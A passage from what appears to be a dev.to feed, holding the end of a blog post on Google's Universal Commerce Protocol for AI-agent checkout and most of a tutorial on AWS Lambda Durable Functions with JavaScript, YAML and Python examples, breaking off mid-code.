&lt;p&gt;That's it. Three endpoints: create, update, complete. A merchant who already has a checkout backend can implement this in a few days.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters more than another model announcement
&lt;/h2&gt;

&lt;p&gt;Every I/O post I read this week talks about agents in the abstract. "Agents will change everything." "The agentic era is here." Cool. But an agent that can research and plan yet can't transact is just a chatbot with a longer context window.&lt;/p&gt;

&lt;p&gt;Commerce is where agents become economically real. The moment an agent can spend money on your behalf (with your permission, within your budget), the business model for AI shifts from "subscription to a chat interface" to "commission on transactions completed." That's a different industry.&lt;/p&gt;

&lt;p&gt;UCP is the plumbing that makes that shift possible. And the design choices are interesting:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The agent never handles payment.&lt;/strong&gt; This is deliberate. The moment you hand sensitive data to an autonomous agent, you inherit liability nightmares. UCP sidesteps this by routing payment through a Google-controlled UI. The agent builds the cart. Humans authorize the money.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The merchant stays Merchant of Record.&lt;/strong&gt; Google doesn't intermediate the transaction the way Amazon does. The merchant keeps their customer data, their relationship, their fulfillment. UCP is a protocol, not a marketplace.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It's compatible with MCP, A2A, and AP2.&lt;/strong&gt; You can expose your checkout endpoints as MCP tools, use A2A for agent-to-agent negotiation, or plug into the Agent Payments Protocol. UCP doesn't lock you into Google's ecosystem. It defines the commerce primitives. The transport layer is your choice.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this means if you build e-commerce
&lt;/h2&gt;

&lt;p&gt;If you run a Shopify store, this is coming to you automatically. Shopify co-designed the protocol.&lt;/p&gt;

&lt;p&gt;If you run a custom e-commerce backend, here's the integration surface:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;POST /checkout-sessions&lt;/code&gt; (create a session from line items)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;PUT /checkout-sessions/{id}&lt;/code&gt; (update shipping, recalculate tax)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;POST /checkout-sessions/{id}/complete&lt;/code&gt; (process payment, return order)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;POST /checkout-sessions/{id}/cancel&lt;/code&gt; (cancel)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Google provides &lt;a href="https://github.com/Universal-Commerce-Protocol/python-sdk" rel="noopener noreferrer"&gt;Python&lt;/a&gt; and &lt;a href="https://github.com/Universal-Commerce-Protocol/js-sdk" rel="noopener noreferrer"&gt;JavaScript&lt;/a&gt; SDKs, plus a &lt;a href="https://github.com/Universal-Commerce-Protocol/conformance" rel="noopener noreferrer"&gt;conformance test suite&lt;/a&gt; to validate your implementation. The SLO expectations are reasonable: 95% availability, p50 latency under 1 second for session creation.&lt;/p&gt;

&lt;p&gt;The payoff: your products become purchasable directly inside Google Search AI Mode, the Gemini app, and (soon) anywhere an agent speaks UCP. No affiliate links. No "visit our website." Direct checkout inside the AI conversation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part nobody is talking about
&lt;/h2&gt;

&lt;p&gt;UCP is expanding to lodging and food. Google has waitlists open for both verticals. That means hotel booking and restaurant ordering get the same treatment: an agent calls your API, the user confirms in a Google UI, the transaction completes without a website visit.&lt;/p&gt;

&lt;p&gt;Think about what this does to SEO-driven e-commerce. If an agent can buy directly from a merchant's API during a Search conversation, the website becomes optional for the transaction. Discovery still happens (through product feeds in Merchant Center), but the conversion doesn't require a click-through anymore.&lt;/p&gt;

&lt;p&gt;That's a structural change to online commerce. Not "AI will change shopping someday." It's live, it has SDKs, and merchants are integrating right now.&lt;/p&gt;

&lt;h2&gt;
  
  
  The skeptic's questions
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;"Is this just Google capturing more of the transaction?"&lt;/strong&gt;&lt;br&gt;
They'd argue no, because the merchant stays Merchant of Record. But Google does control the surface (Search, Gemini) and the payment layer (Google Pay). Draw your own conclusions on where the power concentrates over time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Will other platforms adopt UCP?"&lt;/strong&gt;&lt;br&gt;
It's open-source and Shopify co-designed it. That's meaningful. Whether Amazon, Meta, or Apple adopt it or build their own competing protocol is the billion-dollar question. Interoperability with MCP and A2A suggests Google wants this to be a lingua franca, not a walled garden. Time will tell.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Do consumers actually want agents buying things for them?"&lt;/strong&gt;&lt;br&gt;
Probably not yet for expensive purchases. But for replenishment (toothpaste, dog food, contacts), routine bookings (same hotel, same rental car), and low-stakes impulse buys? The friction reduction is real. Google's Gemini Spark starts with a "check with you before taking major actions" guardrail for a reason.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it yourself
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Read the &lt;a href="https://developers.google.com/merchant/ucp/" rel="noopener noreferrer"&gt;UCP documentation&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Browse the &lt;a href="https://github.com/Universal-Commerce-Protocol/ucp" rel="noopener noreferrer"&gt;open-source spec on GitHub&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Grab the &lt;a href="https://github.com/Universal-Commerce-Protocol/python-sdk" rel="noopener noreferrer"&gt;Python SDK&lt;/a&gt; or &lt;a href="https://github.com/Universal-Commerce-Protocol/js-sdk" rel="noopener noreferrer"&gt;JS SDK&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Run the &lt;a href="https://github.com/Universal-Commerce-Protocol/conformance" rel="noopener noreferrer"&gt;conformance tests&lt;/a&gt; against your endpoints&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://support.google.com/merchants/contact/ucp_integration_interest" rel="noopener noreferrer"&gt;Join the waitlist&lt;/a&gt; if you're a merchant&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The protocol that lets AI agents spend money exists, is open, and is already processing transactions in Google Search. That's not a keynote prediction. It's infrastructure you can build on today.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>googleiochallenge</category>
    </item>
    <item>
      <title>Lambda Durable Functions, When You Don't Need Step Functions</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Wed, 13 May 2026 11:51:48 +0000</pubDate>
      <link>https://dev.to/aws-builders/lambda-durable-functions-when-you-dont-need-step-functions-20bn</link>
      <guid>https://dev.to/aws-builders/lambda-durable-functions-when-you-dont-need-step-functions-20bn</guid>
      <description>&lt;p&gt;At re:Invent 2025, AWS added a new primitive to Lambda called durable execution. Your function can now checkpoint its progress, survive failures without restarting from scratch, and suspend for up to a year without paying for compute time.&lt;/p&gt;

&lt;p&gt;If you've used Azure Durable Functions or Temporal, the concept is familiar. If you haven't, the short version is that your Lambda function can pause mid-execution, wait for something external (a human approval, a webhook, a scheduled delay), and resume exactly where it left off. No DynamoDB state table. No Step Functions state machine. Just code.&lt;/p&gt;

&lt;p&gt;This post covers what it is, how it works, when to use it instead of Step Functions, and what it actually looks like to build with.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem It Solves
&lt;/h2&gt;

&lt;p&gt;Standard Lambda functions run from start to finish in a single invocation. Maximum 15 minutes. If something fails at step 7 of 10, you retry the whole thing. If you need to wait for a human to click "approve," you need to save state somewhere, set up an API Gateway endpoint to receive the callback, wire up the resume logic, and handle the case where your function code changed between the pause and the resume.&lt;/p&gt;

&lt;p&gt;Most teams solve this with Step Functions, which works well but means defining your workflow in Amazon States Language (a JSON DSL) or the CDK Step Functions constructs. Your business logic lives in Lambda, your orchestration logic lives in Step Functions, and you context-switch between two mental models.&lt;/p&gt;

&lt;p&gt;Lambda Durable Functions puts both in the same file.&lt;/p&gt;

&lt;h2&gt;
  
  
  How It Works
&lt;/h2&gt;

&lt;p&gt;You enable durable execution when you create the function (a &lt;code&gt;DurableConfig&lt;/code&gt; block in your SAM template or CDK construct). Then you use the durable execution SDK in your handler code.&lt;/p&gt;

&lt;p&gt;The SDK gives you a few primitives.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;context.step()&lt;/code&gt;&lt;/strong&gt; runs a block of code and checkpoints the result. If the function fails later and replays, this step is skipped and its cached result is returned.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;context.wait()&lt;/code&gt;&lt;/strong&gt; suspends execution for a duration (minutes, hours, days). No compute charges during the wait.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;context.waitForCallback()&lt;/code&gt;&lt;/strong&gt; suspends until an external system calls back with a success or failure. Up to one year.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;context.waitForCondition()&lt;/code&gt;&lt;/strong&gt; polls a condition on a schedule until it returns true.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;context.parallel()&lt;/code&gt;&lt;/strong&gt; runs multiple durable operations concurrently.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;context.invoke()&lt;/code&gt;&lt;/strong&gt; calls another Lambda function and checkpoints the result.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Under the hood, Lambda uses a checkpoint/replay mechanism. When your function resumes (after a wait, a failure, or a deployment), Lambda invokes your handler from the top. The SDK replays through completed steps instantly (returning cached results) and picks up execution at the point where it left off.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2tv9zm62pfk8d96mker.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2tv9zm62pfk8d96mker.png" alt="checkpoint/replay diagram" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What It Looks Like
&lt;/h2&gt;

&lt;p&gt;A user onboarding flow that creates a profile, waits up to 24 hours for email verification, then sends a welcome email.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;DurableContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;withDurableExecution&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@aws/durable-execution-sdk-js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;withDurableExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;DurableContext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;profile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;create-profile&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;createUserProfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;verification&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;waitForCallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;wait-for-email-verification&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;callbackId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sendVerificationEmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;callbackId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;hours&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;complete-onboarding&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;verification&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;verification&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;verified&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;failed&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sendWelcomeEmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;active&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;createUserProfile&lt;/code&gt; succeeds but the verification email fails to send, the function retries from the &lt;code&gt;waitForCallback&lt;/code&gt; step. The profile creation is skipped (already checkpointed). If the user clicks verify 6 hours later, the function resumes at the &lt;code&gt;complete-onboarding&lt;/code&gt; step. During those 6 hours, you pay nothing.&lt;/p&gt;

&lt;p&gt;The SAM template looks like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Resources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;UserOnboardingFunction&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;Type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;AWS::Serverless::Function&lt;/span&gt;
    &lt;span class="na"&gt;Properties&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;FunctionName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;UserOnboardingFunction&lt;/span&gt;
      &lt;span class="na"&gt;CodeUri&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./src&lt;/span&gt;
      &lt;span class="na"&gt;Handler&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;index.handler&lt;/span&gt;
      &lt;span class="na"&gt;Runtime&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nodejs24.x&lt;/span&gt;
      &lt;span class="na"&gt;Timeout&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;
      &lt;span class="na"&gt;DurableConfig&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;ExecutionTimeout&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;90000&lt;/span&gt;  &lt;span class="c1"&gt;# 25 hours&lt;/span&gt;
        &lt;span class="na"&gt;RetentionPeriodInDays&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;7&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Timeout&lt;/code&gt; is still the per-invocation limit (max 15 minutes). &lt;code&gt;ExecutionTimeout&lt;/code&gt; is how long the entire durable execution can run, including waits. Up to one year.&lt;/p&gt;

&lt;h2&gt;
  
  
  When to Use This Instead of Step Functions
&lt;/h2&gt;

&lt;p&gt;The AWS docs frame it as "application development in Lambda" vs. "workflow orchestration across AWS services." Here's my less diplomatic version.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foa85gkv6u379i1yzjiyo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foa85gkv6u379i1yzjiyo.png" alt="side-by-side comparison, Step Functions state machine vs. durable function code file" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use Durable Functions when&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your team prefers standard programming languages and familiar development tools&lt;/li&gt;
&lt;li&gt;Your workflow is mostly Lambda code calling other services via SDK&lt;/li&gt;
&lt;li&gt;You want the orchestration logic in the same file as the business logic&lt;/li&gt;
&lt;li&gt;You're comfortable with the checkpoint/replay model&lt;/li&gt;
&lt;li&gt;You want to test locally with &lt;code&gt;sam local invoke&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Use Step Functions when&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You're orchestrating many AWS services (SQS, SNS, DynamoDB, ECS) with native integrations&lt;/li&gt;
&lt;li&gt;Non-engineers need to understand the workflow (the visual designer matters)&lt;/li&gt;
&lt;li&gt;You want zero runtime maintenance (no SDK versions to update)&lt;/li&gt;
&lt;li&gt;You need the 220+ direct service integrations without writing Lambda functions for each&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Use both when&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Step Functions coordinates the high-level flow across services&lt;/li&gt;
&lt;li&gt;Durable Functions handles complex application logic within individual Lambda functions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The honest comparison is that Durable Functions is simpler for Lambda-heavy workflows. Step Functions is more powerful for cross-service orchestration. If your workflow is "Lambda calls Lambda calls Lambda with some waits in between," Durable Functions is less overhead. If your workflow is "receive SQS message, write to DynamoDB, start ECS task, wait for completion, send SNS notification," Step Functions has native integrations for all of that without writing Lambda handlers.&lt;/p&gt;

&lt;h2&gt;
  
  
  What You Pay For
&lt;/h2&gt;

&lt;p&gt;Standard Lambda compute charges apply to all invocations, including replays. During waits, on-demand functions don't incur duration charges.&lt;/p&gt;

&lt;p&gt;You also pay for durable operations (each &lt;code&gt;step()&lt;/code&gt;, &lt;code&gt;wait()&lt;/code&gt;, &lt;code&gt;invoke()&lt;/code&gt; call), data written to checkpoints, and data retention (how long execution history is kept).&lt;/p&gt;

&lt;p&gt;For workflows that spend most of their time waiting (approval flows, scheduled delays, polling), the cost model is favorable. You're not paying for an idle Step Functions execution either, but the per-operation pricing differs. For short, compute-heavy workflows with few waits, the replay overhead adds cost that Step Functions doesn't have.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F34kh2lowxadw04bywtxg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F34kh2lowxadw04bywtxg.png" alt="cost timeline showing active compute (colored) vs. suspended wait time (empty)" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Things to Know Before You Build
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Determinism matters.&lt;/strong&gt; Your handler runs from the top on every replay. Code between steps must be deterministic. Don't generate random IDs outside a step, don't read the current time outside a step, don't make API calls outside a step. Anything with side effects goes inside &lt;code&gt;context.step()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Versioning is strict.&lt;/strong&gt; Use function versions or aliases, not &lt;code&gt;$LATEST&lt;/code&gt;. If your code changes between a pause and a resume, the replay might not match the original execution. Lambda replays with the version that started the execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;15-minute invocation limit still applies.&lt;/strong&gt; Each individual invocation (including replays) must complete within 15 minutes. The durable execution can span months, but each "wake up" is still a normal Lambda invocation. If your replay takes too long because you have hundreds of completed steps to skip through, that's a problem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You can't add DurableConfig to an existing function.&lt;/strong&gt; You need to create a new function with durable execution enabled from the start.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SDKs available for Node.js, Python, and Java.&lt;/strong&gt; Java SDK went GA in April 2026. Python and Node.js have been available since launch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Available in 16+ regions&lt;/strong&gt; as of April 2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Practical Example, Order Processing
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6pp61xeoekw479r8z8p6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6pp61xeoekw479r8z8p6.png" alt="sequence diagram showing order flow with suspension period marked" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here's a more realistic example. An order comes in, you validate payment, reserve inventory, wait for the warehouse to confirm shipment (could take hours), then notify the customer.&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;aws_durable_execution_sdk&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;durable_function&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DurableContext&lt;/span&gt;

&lt;span class="nd"&gt;@durable_function&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DurableContext&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;order&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;

    &lt;span class="c1"&gt;# Validate payment
&lt;/span&gt;    &lt;span class="n"&gt;payment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;validate-payment&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;charge_card&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;payment&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
